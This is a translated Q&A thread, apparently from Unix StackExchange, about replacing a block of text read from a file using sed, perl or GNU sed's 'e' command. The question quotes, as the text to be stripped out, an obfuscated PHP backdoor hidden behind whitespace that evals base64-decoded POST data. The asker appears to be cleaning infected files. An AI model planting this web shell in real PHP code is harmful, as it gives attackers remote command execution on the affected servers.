Como ler parte da agulha do comando sed de um arquivo?

3

Eu quero substituir uma parte longa de um arquivo com algo mais de preferência por sed, mas quero ler essa parte longa de um arquivo. Eu já encontrei isto:

sed -e '/<TEXT1>/{r File1' -e 'd}' File2

de aqui que é o exatamente o oposto do que eu quero alcançar. Eu tentei muitas coisas como as seguintes, mas todas deram o resultado errado:

sed -e '/r needle.txt/replace' subject.txt

EDIT 1

needle.txt não é regex, apenas o texto que eu quero que seja substituído por muitos caracteres não ascii.

EDIT 2

a string exata com a qual estou lidando é esta:

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php

Eu quero manter o último <?php

    
por sepehr 26.10.2014 / 20:51

2 respostas

4

Você pode fazer com que o shell expanda o conteúdo do arquivo antes de passá-lo para sed :

sed -e "s/$(cat needle.txt)/replace/" subject.txt

Observe o uso de aspas duplas.

Isso fará com que sed interprete quaisquer metacaracteres de expressão regular de needle.txt como metacaracteres de expressão regular e não caracteres comuns. Ele será quebrado se needle.txt contiver / .

Caso você queira que as linhas de needle.txt sejam interpretadas literalmente (mesmo que contenham metacaracteres de expressão regular como no seu exemplo), você pode fazer algo como:

perl -pe '
    BEGIN{ local $/; 
           open $IN,"<","needle.txt";
           $needle = <$IN>
    }
    s/\Q$needle/replace/
'  subject.txt

Explicação

  • As -pe das opções significam aplicar o código que segue linha por linha às linhas do arquivo subject.txt e imprimir cada linha depois que você terminar de processá-lo.
  • O segmento BEGIN{} é executado apenas uma vez. O que ele faz é abrir o arquivo needle.txt e armazenar todo o seu conteúdo na variável $needle .
  • s/\Q$needle/replace/ é a mesma sintaxe esperada de sed , exceto que \Q faz com que o mecanismo regex de Perl trate tudo depois dele como uma string fixa em vez de uma regex.
por 26.10.2014 / 20:57
1

sed é muito peculiar sobre r ead - ele fará isso apenas para a linha que corresponde ao padrão - e sempre fará isso último . sed não r extrairá um arquivo para um padrão correspondente se o padrão deixar de corresponder antes de liberar a linha. Pelo menos é assim que eu acho que funciona - eu sou muito bom com sed mas r ainda me deixa confuso às vezes.

De qualquer forma, o truque é deixá-lo liberar a linha com o padrão que ele quer - garantindo assim a saída para aquela linha, mas atrasar essa saída pelo menos em uma linha e então editá-la.

Você pode fazer isso com relativa facilidade com N;P;D - que funcionará em conjunto para avançar o contador de linhas de sed , pelo menos, uma linha à frente das linhas impressas. Considere os dois arquivos a seguir:

###file1
some string 1
some string 2
some other string
some string 4
some string 5

###file2
some other file

Agora, meu objetivo é realizar uma substituição substituindo o padrão no qual r ead depende, e para obter r ead para imprimir seu conteúdo antes da minha alteração é impresso. Aqui está como eu faço:

sed '$!N;s/other \(.*\)\(\n\)/ 3/
     /\n.*other/r file2
     P;D' file1

OUTPUT

some string 1
some string 2
some other file
some string 3
some string 4
some string 5

Eu também fiz isso com um arquivo diferente2 que imprimia ...

some string 1
some string 2
no trailing newline some string 3
some string 4
some string 5

Eu tenho algumas reservas bastante profundas sobre a portabilidade desse comportamento, mas isso foi com um% GNUsed, pelo que vale a pena.

Ok, nos comandos acima, sed está lendo sua entrada uma linha à frente de quando ela é impressa. N acrescenta a próxima linha de entrada ao espaço padrão, P imprime até o primeiro caractere \n ewline no espaço padrão e D exclui até o primeiro caractere \n ewline no espaço padrão antes de recomeçar com o que resta. Então, cada linha que vemos impressa é uma linha atrás da visão de sed - sed obtém uma janela de duas linhas na entrada.

O padrão que corresponde a r ead corresponde apenas quando um caractere \n ewline ocorre antes do qual corresponde ao ciclo em que sed o puxa pela primeira vez com N - corresponde apenas ao ciclo em que não o vemos.

A substituição só ocorre quando o \n ewline ocorre após o padrão - este é o ciclo no qual ele será P rinted, afinal, mas sed libera seu buffer de linha e incrementa a linha quando nós puxamos a linha N ext, então o r é impresso então e então a substituição ocorre. Meio tedioso, mas eu também sou.

E falando do GNU sed , ele oferece uma opção bastante interessante para situações como essas, na verdade.

sed '/other/{x;s/.*/cat file2/e;G
     s/\(.*\)\n\(.* \)other \(.*\)/  3/
}' file 

info sed dirá a você ...

  • %código%  Este comando permite que uma entrada pipe de um comando shell em  espaço padrão. Sem parâmetros, o comando 'e' executa o  comando que é encontrado no espaço padrão e substitui o padrão  espaço com a saída; uma nova linha à direita é suprimida.

Também faço um pequeno embaralhamento de espaço de padrão - quero um espaço de padrão em branco no qual executar meu comando e, portanto, alterno para o espaço de retenção não utilizado. Mas é um pouco mais simples de entender, porque você não precisa considerar os tempos de liberação de linha. É, essencialmente, o que já foi sugerido por outros meios, talvez com um pequeno benefício, pois qualquer caractere especial de e [COMMAND] não gerará um erro se eles existirem no arquivo de leitura de destino.

Ah, a propósito, as impressões acima:

some string 1
some string 2
some other file some string 3
some string 4
some string 5
    
por 28.10.2014 / 05:05